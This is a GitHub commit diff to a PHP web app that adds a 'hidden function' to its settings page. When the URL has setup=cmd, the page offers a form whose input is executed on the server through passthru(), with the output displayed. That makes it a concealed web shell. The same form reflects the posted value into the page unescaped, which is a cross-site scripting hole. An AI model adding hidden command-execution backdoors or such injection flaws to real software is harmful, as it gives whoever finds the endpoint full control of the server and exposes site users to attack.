add Hidden function "cmd"

pull/427/head
qkqpttgf 2021-09-03 09:04:56 +08:00 committed by GitHub
parent bdfee2c81b
commit c7f4089b2a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 34 additions and 0 deletions

View File

@ -1307,6 +1307,40 @@ function EnvOpt($needUpdate = 0)
$html .= '
<a href="' . $preurl . '">' . getconstStr('Back') . '</a><br>
';
if ($_GET['setup']==='cmd') {
$statusCode = 200;
$html .= '
<form name="form1" method="POST" action="">
<input id="inputarea" name="cmd" style="width:100%" value="' . $_POST['cmd'] . '"><br>
<input type="submit" value="post">
</form>';
if ($_POST['cmd']!='') {
$html .= '
<pre>';
@ob_start();
passthru($_POST['cmd'], $cmdstat);
$html .= '
stat: ' . $cmdstat . '
output:
';
if ($cmdstat>0) $statusCode = 400;
if ($cmdstat===1) $statusCode = 403;
if ($cmdstat===127) $statusCode = 404;
$html .= htmlspecialchars(ob_get_clean());
$html .= '</pre>';
}
$html .= '
<script>
setTimeout(function () {
let inputarea = document.getElementById(\'inputarea\');
//console.log(a + ", " + inputarea.value);
inputarea.focus();
inputarea.setSelectionRange(0, inputarea.value.length);
}, 500);
</script>';
return message($html, 'Run cmd', $statusCode);
}
if ($_GET['setup']==='platform') {
$frame .= '
<table border=1 width=100%>